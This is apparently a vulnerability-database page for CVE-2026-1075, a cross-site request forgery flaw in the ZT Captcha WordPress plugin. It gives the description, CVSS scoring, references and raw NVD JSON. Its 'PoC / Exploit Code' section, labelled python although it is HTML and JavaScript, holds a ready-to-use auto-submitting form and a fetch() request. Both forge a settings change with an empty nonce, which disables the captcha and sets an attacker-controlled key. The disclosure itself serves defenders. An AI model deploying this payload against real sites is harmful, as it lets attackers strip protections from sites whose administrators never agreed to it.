CVE-2026-1075

Description

The ZT Captcha plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.4. This is due to improper nonce validation on the save_ztcpt_captcha_settings action where the nonce check can be bypassed by sending an empty token value. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ZT Captcha plugin for WordPress <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-1075 -->
<!-- ZT Captcha Plugin <= 1.0.4 Nonce Bypass -->
<!DOCTYPE html>
<html>
<head>
    <title>ZT Captcha Settings Modification</title>
</head>
<body>
    <h1>ZT Captcha CSRF Attack PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in ZT Captcha plugin.</p>
    
    <!-- Auto-submit form to modify plugin settings -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
        <!-- Required WordPress admin-post.php parameters -->
        <input type="hidden" name="action" value="save_ztcpt_captcha_settings">
        
        <!-- Bypass nonce validation with empty token -->
        <input type="hidden" name="ztcpt_captcha_settings_nonce" value="">
        
        <!-- Plugin settings that can be modified -->
        <input type="hidden" name="ztcpt_enable_captcha" value="0">
        <input type="hidden" name="ztcpt_captcha_type" value="disabled">
        <input type="hidden" name="ztcpt_secret_key" value="attacker_controlled_key">
        
        <!-- Additional settings that could be manipulated -->
        <input type="hidden" name="ztcpt_form_ids" value="all">
        <input type="hidden" name="ztcpt_error_message" value="Captcha Disabled">
    </form>
    
    <script>
        // Auto-submit when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this message, the form was already submitted.</p>
</body>
</html>

<!-- Alternative: Fetch API based PoC -->
<script>
// Fetch-based CSRF attack
fetch('http://target-site.com/wp-admin/admin-post.php', {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: new URLSearchParams({
        'action': 'save_ztcpt_captcha_settings',
        'ztcpt_captcha_settings_nonce': '',  // Empty nonce bypasses validation
        'ztcpt_enable_captcha': '0',
        'ztcpt_captcha_type': 'disabled'
    })
});
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1075
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1075
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1075/
[4] VulDB https://vuldb.com/cve/CVE-2026-1075
[5] https://plugins.trac.wordpress.org/browser/zt-captcha/tags/1.0.4/request/CaptchaRequest.php#L37
[6] https://plugins.trac.wordpress.org/browser/zt-captcha/trunk/request/CaptchaRequest.php#L37
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/9f9d6da5-1598-4df4-8efc-306370446443?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1075", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:07.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ZT Captcha plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.4. This is due to improper nonce validation on the save_ztcpt_captcha_settings action where the nonce check can be bypassed by sending an empty token value. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin ZT Captcha para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0.4, inclusive. Esto se debe a una validación de nonce incorrecta en la acción save_ztcpt_captcha_settings, donde la comprobación de nonce puede ser eludida enviando un valor de token vacío. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/zt-captcha/tags/1.0.4/request/CaptchaRequest.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/zt-captcha/trunk/request/CaptchaRequest.php#L37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9f9d6da5-1598-4df4-8efc-306370446443?source=cve", "source": "[email protected]"}]}}